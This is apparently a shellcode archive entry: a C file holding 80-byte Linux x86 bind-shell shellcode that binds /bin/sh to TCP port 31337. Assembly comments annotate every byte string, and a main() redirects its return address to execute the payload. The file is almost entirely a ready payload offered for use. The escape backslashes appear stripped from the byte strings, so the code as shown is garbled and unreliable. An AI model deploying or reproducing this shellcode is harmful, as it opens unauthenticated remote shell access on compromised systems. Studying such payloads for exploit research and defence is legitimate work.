/*
 * (linux/x86) bind '/bin/sh' to 31337/tcp - 80 bytes
 * - izik <izik@tty64.org>
 */

char shellcode[] = 

	"x6ax66"              // push $0x66 
	"x58"                  // pop %eax 
	"x99"                  // cltd 
	"x6ax01"              // push $0x1 
	"x5b"                  // pop %ebx 
	"x52"                  // push %edx 
	"x53"                  // push %ebx 
	"x6ax02"              // push $0x2 

	//
	// <_doint>:
	//

	"x89xe1"              // mov %esp,%ecx 
	"xcdx80"              // int $0x80 

	"x5b"                  // pop %ebx 
	"x5d"                  // pop %ebp 
	"x52"                  // push %edx 
	"x66xbdx69x7a"      // mov $0x7a69,%bp (0x7a69 = 31337) 
	"x0fxcd"              // bswap %ebp 
	"x09xdd"              // or %ebx,%ebp 
	"x55"                  // push %ebp 
	"x6ax10"              // push $0x10 
	"x51"                  // push %ecx 
	"x50"                  // push %eax 
	"x89xe1"              // mov %esp,%ecx 
	"xb0x66"              // mov $0x66,%al 
	"xcdx80"              // int $0x80 
	"xb3x04"              // mov $0x4,%bl 
	"xb0x66"              // mov $0x66,%al 
	"xcdx80"              // int $0x80 
	"x89x64x24x08"      // mov %esp,0x8(%esp) 
	"x43"                  // inc %ebx 
	"xb0x66"              // mov $0x66,%al 
	"xcdx80"              // int $0x80 
	"x93"                  // xchg %eax,%ebx 
	"x59"                  // pop %ecx 

	//
	// <_dup2loop>:
	//

	"xb0x3f"              // mov $0x3f,%al 
	"xcdx80"              // int $0x80 
	"x49"                  // dec %ecx 
	"x79xf9"              // jns <_dup2loop> 

	"xb0x0b"              // mov $0xb,%al 
	"x52"                  // push %edx 
	"x68x2fx2fx73x68"  // push $0x68732f2f 
	"x68x2fx62x69x6e"  // push $0x6e69622f 
	"x89xe3"              // mov %esp,%ebx 
	"x52"                  // push %edx 
	"x53"                  // push %ebx 
	"xebxbb";             // jmp <_doint> 

int main(int argc, char **argv) {
	int *ret;
	ret = (int *)&ret + 2;
	(*ret) = (int) shellcode;
}

// www.Syue.com [2006-01-21]